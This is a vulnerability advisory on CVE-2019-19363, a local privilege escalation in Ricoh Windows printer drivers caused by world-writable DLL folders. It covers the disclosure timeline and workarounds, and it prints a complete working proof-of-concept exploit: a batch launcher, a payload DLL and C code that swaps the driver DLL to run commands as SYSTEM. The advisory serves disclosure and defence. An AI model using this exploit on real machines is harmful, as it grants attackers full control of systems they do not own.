Pentagrid AG
Pentagrid has been asked to manage the coordinated disclosure process for a vulnerability that affects several Windows printer drivers for a wide range of printers by the printer manufacture Ricoh. Due to improperly set file permissions of file system entries that are installed when a printer is added to a Windows system, any local user is able to overwrite program library files (DLLs) with own code.
Impact
The improperly protected library files are loaded by the Windows PrintIsolationHost.exe, which is a privileged process running as SYSTEM. When an attacker overwrites library files that are used in an administrative context, the library code gets executed with administrative privileges as well. Thus, the attacker is able to escalate privileges to SYSTEM.
As installing printers is not disallowed by default on Domain managed Windows computers, this can be used as a universal privilege escalation as long as the vulnerable printer drivers are valid and installed.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, 8.8 High
Timeline
2019-10-17: Pentagrid has been asked to support the disclosure process, because the source was not successful in reporting this vulnerability to Ricoh.
2019-10-23: Asked @ricoheurope Twitter channel regarding a security contact. No response, yet.
2019-10-29: Successfully established a contact with a Ricoh employee via LinkedIn. Other contact attempts via LinkedIn failed so far.
2019-10-29: Asked @AskRicoh Twitter channel regarding a security contact.
2019-10-31: Received two e-mail addresses as potential security contacts via LinkedIn contact.
2019-11-02: Initial contact with provided two Ricoh e-mail addresses.
2019-11-04: Received PSIRT contact address (psirt@ricoh-usa.com).
2019-11-05: Sent preliminary advisory to PSIRT.
2019-11-05: @AskRicoh responded on Twitter.
2019-11-14: Response from Ricoh PSIRT with a timeline proposal and intended steps.
2019-12-05: CVE-2019-19363 has been assigned.
2020-01-22: Ricoh published an advisory. Fixes and mitigations have not been verified, yet.
2020-01-22: Advisory updated and published after 90 days of initial contact.
Affected Components
Printer drivers for Ricoh, Savin and Lanier printer brands are affected. The following drivers for Windows 10 are known to be affected:
SP 8300DN - PCL6 Driver for Universal Print, Ver.4.23.0.0, release date 10/08/2019: http://support.ricoh.com/bb/pub_e/dr_ut_e/0001315/0001315878/V42300/z87179L19.exe (SHA-256 064c1db754d43edbd8c9c23185b817d6a29775c93c1049605f5d907a472d64ab)
SP 8300DN - PCL 6 Driver, Ver.1.5.0.0, release date 07/03/2016: http://support.ricoh.com/bb/pub_e/dr_ut_e/0001294/0001294259/V1500/z75198L13.exe (SHA-256 af2fa42905850f58879816956d322dc5adfb1f89fbe7f6af830f465fbc0e3cc1)
P 501/502 - PCL 6 Driver, Ver.1.1.0.0, release date 03/02/2019: http://support.ricoh.com/bb/pub_e/dr_ut_e/0001311/0001311756/V1100/z84997L16.exe (SHA-256 564b27f16db12cafd15eec6057c75b30dbac25dbbebb4fd5598ad09dfaaad416)
MP C8003/C6503 series - PCL 6 Driver, Ver.1.2.0.0, release date 24/05/2017: http://support.ricoh.com/bb/pub_e/dr_ut_e/0001303/0001303915/V1200/z80159L15.exe (SHA-256 3ef2a1dc09e2dde71ed9db9f6c629ff0140d172fbe71c9e376d391e3162090f0)
Especially the Universal Print driver supports a wide range of printer models. Furthermore, printers are also marketed under the brand names Savin and Lanier, which use the same drivers. Ricoh's advisory lists affected drivers and versions.
Technical Details
To reproduce the vulnerability, download an affected printer driver such as the PCL6 Driver for Universal Print, Version 4.23.0.0, self-extract the executable file and install the driver. Add a printer. In a standard Windows installation, adding a printer does not need an administrator account.
During the printer setup, the process of PrintIsolationHost.exe creates a directory c:\ProgramData\RICOH_DRV and installs several files in this location, including several DLL files. Every user has full control over the installed DLL files as show below, because these files are writable:
C:\>icacls "c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\*.dll"
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\borderline.dll Everyone:(I)(F)
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\headerfooter.dll Everyone:(I)(F)
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\jobhook.dll Everyone:(I)(F)
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\overlaywatermark.dll Everyone:(I)(F)
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\popup.dll Everyone:(I)(F)
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\watermark.dll Everyone:(I)(F)
Successfully processed 6 files; Failed processing 0 files
The flag F means full access and the flag I means permissions are inherited from the parent directory. The inherited writable flag origins from a parent directory. In fact, the entire directory c:\ProgramData\RICOH_DRV grants full control to everyone:
C:\>icacls "c:\ProgramData\RICOH_DRV"
c:\ProgramData\RICOH_DRV Everyone:(OI)(CI)(F)
Successfully processed 1 files; Failed processing 0 files
Here OI means Object Inherit, CI Container Inherit, and F full access as above.
The printer isolation feature has been introduced in Windows 7 and Windows Server 2008 to not have the printer drivers in the same process as the spooler. The isolation should add stability for other user's print jobs.
Exploitation
When a DLL file from the c:\ProgramData\RICOH_DRV is overwritten in the right moment by a local attacker, the PrintIsolationHost.exe process loads the attacker-provided DLL file as shown in the screenshot below. Afterward, the library code gets executed with SYSTEM privileges, because the PrintIsolationHost.exe uses SYSTEM privileges. This attack idea has been implemented in a proof of concept exploit that is given in a later section of this advisory.
Precondition
To exploit the vulnerability, an attacker needs access to a Windows host as a regular user and must be able to install an affected Ricoh printer driver as well as to add printers. Adding printers is usually possible without administrative access.
Patches and Workaround
Please refer to Ricoh's advisory for mitigations and security patches. Please refer to Updates below.
Windows Group policies are a potential workaround. When group policies are used, there is a group policy to control installing printer drivers (Windows Settings -> Security Settings -> Local Policies -> Security Options -> Devices: Prevent Users From Installing Printer Drivers) and another group policy to control adding printers (User Configuration -> Administrative Templates -> Control Panel -> Printers -> Prevent addition of printers). When used, people cannot install drivers, respectively adding printers.
Credits
This vulnerability has been found by Alexander Pudwill, who also provided an initial proof of concept exploit in C#. Pentagrid AG independently validated the findings, fully automated the exploit process and handled the coordinated disclosure.
Proof of Concept Exploit
1. Launch Script
REM This example batch script executes the proof of concept exploit.
REM Written by Pentagrid AG, 2019.
REM See https://pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/
SET DLL=watermark.dll
SET STEPS=2
SET PRINTERNAME=RICOH PCL6 UniversalDriver V4.23
REM SET PRINTERNAME=RICOH Aficio SP 8300DN PCL 6
REM SET PRINTERNAME=RICOH P 501 PCL 6
REM SET PRINTERNAME=RICOH MP C6503 PCL 6
PoC.exe ^
"%PRINTERNAME%" ^
"C:\ProgramData\RICOH_DRV\%PRINTERNAME%\_common\dlz\%DLL%" ^
"RICOH_DRV\%PRINTERNAME%\_common\dlz\%DLL%" ^
Dll.dll ^
%STEPS%
REM Wait for a moment
timeout /t 5
dir c:\result.txt
2. Payload DLL
/*
This proof of concept DLL executes a shell command with elevated privileges.
Written by Pentagrid AG, 2019.
Cf. https://pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/
*/
#include "stdafx.h"
#include <shellapi.h>
BOOL WINAPI DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved) {
WinExec("cmd.exe /c whoami > c:\\result.txt", SW_HIDE);
return TRUE;
}
3. Exploit
/*
This proof of concept code monitors file changes on Ricoh's driver DLL files and overwrites
a DLL file before the library is loaded (CVE-2019-19363).
Written by Pentagrid AG, 2019.
Cf. https://pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/
Credits: Alexander Pudwill
This proof of concept code is based on the ReadDirectoryChangesW API call to
get notified about changes on files and directories and reuses parts from the example from
https://www.experts-exchange.com/questions/22507220/ReadDirectoryChangesW-FWATCH-MSDN-sample-not-working.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <windows.h>
#define MAX_BUFFER 4096
int change_counter = 0;
const WCHAR * const BaseDirName = L"C:\\ProgramData";
const WCHAR * TargetDllFullFilePath, * TargetDLLRelFilePath, * MaliciousLibraryFile, * PrinterName;
DWORD dwNotifyFilter = FILE_NOTIFY_CHANGE_LAST_WRITE |
FILE_NOTIFY_CHANGE_SIZE |
FILE_NOTIFY_CHANGE_LAST_ACCESS |
FILE_NOTIFY_CHANGE_CREATION;
typedef struct _DIRECTORY_INFO {
HANDLE hDir;
TCHAR lpszDirName[MAX_PATH];
CHAR lpBuffer[MAX_BUFFER];
DWORD dwBufLength;
OVERLAPPED Overlapped;
} DIRECTORY_INFO, *PDIRECTORY_INFO, *LPDIRECTORY_INFO;
DIRECTORY_INFO DirInfo;
void WINAPI HandleDirectoryChange(DWORD dwCompletionPort) {
DWORD numBytes, cbOffset;
LPDIRECTORY_INFO di;
LPOVERLAPPED lpOverlapped;
PFILE_NOTIFY_INFORMATION fni;
WCHAR FileName[MAX_PATH];
do {
GetQueuedCompletionStatus((HANDLE)dwCompletionPort, &numBytes, (LPDWORD)&di, &lpOverlapped, INFINITE);
if (di) {
fni = (PFILE_NOTIFY_INFORMATION)di->lpBuffer;
do {
cbOffset = fni->NextEntryOffset;
// get filename
size_t num_elem = fni->FileNameLength / sizeof(WCHAR);
if (num_elem >= sizeof(FileName) / sizeof(WCHAR)) num_elem = 0;
wcsncpy_s(FileName, sizeof(FileName)/sizeof(WCHAR), fni->FileName, num_elem);
FileName[num_elem] = '\0';
wprintf(L"+ Event for %s [%d]\n", FileName, change_counter);
if (fni->Action == FILE_ACTION_MODIFIED) {
if (!wcscmp(FileName, TargetDLLRelFilePath)) {
if (change_counter > 0)
change_counter--;
if (change_counter == 0) {
change_counter--;
if (CopyFile(MaliciousLibraryFile, TargetDllFullFilePath, FALSE))
wprintf(L"+ File %s copied to %s.\n", MaliciousLibraryFile, TargetDllFullFilePath);
else {
wchar_t buf[256];
FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
buf, (sizeof(buf) / sizeof(wchar_t)), NULL);
wprintf(L"+ Failed to copy file %s to %s: %s\n", MaliciousLibraryFile, TargetDllFullFilePath, buf);
}
exit(1);
} // end of trigger part
}
} // eo action mod
fni = (PFILE_NOTIFY_INFORMATION)((LPBYTE)fni + cbOffset);
} while (cbOffset);
// Reissue the watch command
ReadDirectoryChangesW(di->hDir, di->lpBuffer, MAX_BUFFER, TRUE, dwNotifyFilter, &di->dwBufLength, &di->Overlapped, NULL);
}
} while (di);
}
void WINAPI InstallPrinter() {
WCHAR cmd_buf[1000];
swprintf(cmd_buf, sizeof(cmd_buf), L"/c rundll32 printui.dll, PrintUIEntry /if /b \"Printer\" /r lpt1: /m \"%s\"", PrinterName);
wprintf(L"+ Adding printer: %s\n", cmd_buf);
unsigned long ret = (unsigned long) ShellExecuteW(0, L"open", L"cmd", cmd_buf, NULL, SW_HIDE);
if(ret <= 32) // That seems to be the way to handle ShellExecuteW's ret value.
wprintf(L"+ Failed launching command. Return value is %d\n", ret);
}
void WINAPI WatchDirectories(HANDLE hCompPort) {
DWORD tid;
HANDLE hThread;
ReadDirectoryChangesW(DirInfo.hDir, DirInfo.lpBuffer, MAX_BUFFER, TRUE, dwNotifyFilter, &DirInfo.dwBufLength, &DirInfo.Overlapped, NULL);
// Create a thread to sit on the directory changes
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)HandleDirectoryChange, hCompPort, 0, &tid);
// Just loop and wait for the user to quit
InstallPrinter();
while (_getch() != 'q');
// The user has quit - clean up
PostQueuedCompletionStatus(hCompPort, 0, 0, NULL);
// Wait for the Directory thread to finish before exiting
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
int wmain(int argc, WCHAR *argv[]) {
HANDLE hCompPort = NULL; // Handle To a Completion Port
if (argc == 6) {
PrinterName = argv[1];
TargetDllFullFilePath = argv[2];
TargetDLLRelFilePath = argv[3];
MaliciousLibraryFile = argv[4];
change_counter = _wtoi(argv[5]);
}
else {
wprintf(L"+ Usage: %s <printer_name> <fullpath_monitor_dll> <rel_path_monitor_dll> <new_dll> <counter>\n", argv[0]);
return 0;
}
wprintf(L"+ Monitoring directory %s\n", BaseDirName);
// Get a handle to the directory
DirInfo.hDir = CreateFile(BaseDirName,
FILE_LIST_DIRECTORY,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
NULL);
if (DirInfo.hDir == INVALID_HANDLE_VALUE) {
wprintf(L"Unable to open directory %s. GLE=%ld. Terminating...\n",
BaseDirName, GetLastError());
return 0;
}
lstrcpy(DirInfo.lpszDirName, BaseDirName);
if (HANDLE hFile = CreateFile(TargetDllFullFilePath,
GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL)) {
wprintf(L"+ File %s created\n", TargetDllFullFilePath);
CloseHandle(hFile);
}
else
wprintf(L"+ File %s could not be created\n", TargetDllFullFilePath);
if ((hCompPort = CreateIoCompletionPort(DirInfo.hDir, hCompPort, (ULONG_PTR)&DirInfo, 0)) == NULL) {
wprintf(L"+ CreateIoCompletionPort() failed.\n");
return 0;
}
wprintf(L"+ Press <q> to exit\n");
// Start watching
WatchDirectories(hCompPort);
CloseHandle(DirInfo.hDir);
CloseHandle(hCompPort);
return 1;
}
Updates
Update 2020-01-22: The old and vulnerable drivers are still valid. They are not revoked. We made a video of the proof of concept exploit in action. As a clarification, adding printers does not need administrative access, while installing the driver needs local admin access, but not when the driver is reinstalled and not, when installing printer drivers is allowed via GPOs.
Update 2020-01-31: Pentagrid had a look at the "PCL6 Driver for Universal Print, Version 4.26.0.0, Released Date: 01/17/2020" driver
(https://support.ricoh.com/bb/pub_e/dr_ut_e/0001316/0001316926/V42600/z88755L19.exe). While the file permissions of the DLLs and the dlz directory are adjusted and do not grant any user write permissions, the permissions of the directories above this level have not changed and are still writeable.
SOURCE:Paper.li
Comments